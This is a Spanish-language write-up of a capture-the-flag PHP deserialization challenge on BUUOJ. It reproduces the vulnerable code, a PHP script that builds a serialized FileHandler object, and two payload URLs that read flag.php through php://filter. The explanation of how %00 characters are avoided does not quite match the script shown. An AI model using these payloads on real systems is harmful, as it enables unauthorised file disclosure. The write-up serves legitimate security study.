include("flag.php");
highlight_file(FILE);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
</div> Se trata de una vulnerabilidad de deserialización en PHP. Durante la competencia se resolvió esta tarea y ahora se documenta su reproduccción en BUUOJ. Al examinar el código se observa que se recibe una cadena serializada mediante GET llamada 'str'. Esta cadena debe tener caracteres cuyo valor ASCII esté entre 32 y 125, y luego se deserializa. Durante la deserialización se invoca al método mágico __destruct: <div>```
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
</div> Dependiendo del valor de op, se ejecuta write() o read(). La comparación con "2" es débil (==), por lo tanto si op es el entero 2, la condición op=="2" será verdadera, permitiendo acceder a read(). <div>```
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
</div> El flujo de ataque es claro: establecer op como entero 2 para activar el flujo de lectura. Sin embargo, los atributos protegidos (protected) incluyan caracteres %00 durante la serialización, que no pasan por la validación is_valid. <div>```
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
</div> Con esta modificación ya no aparecen los caracteres %00. En BUUOJ, la carga útil (payload) funciona directamente: <div>```
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
</div> A continuación, un payload usado durante la competencia, teniendo en cuenta diferencias en rutas del entorno: <div>```
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}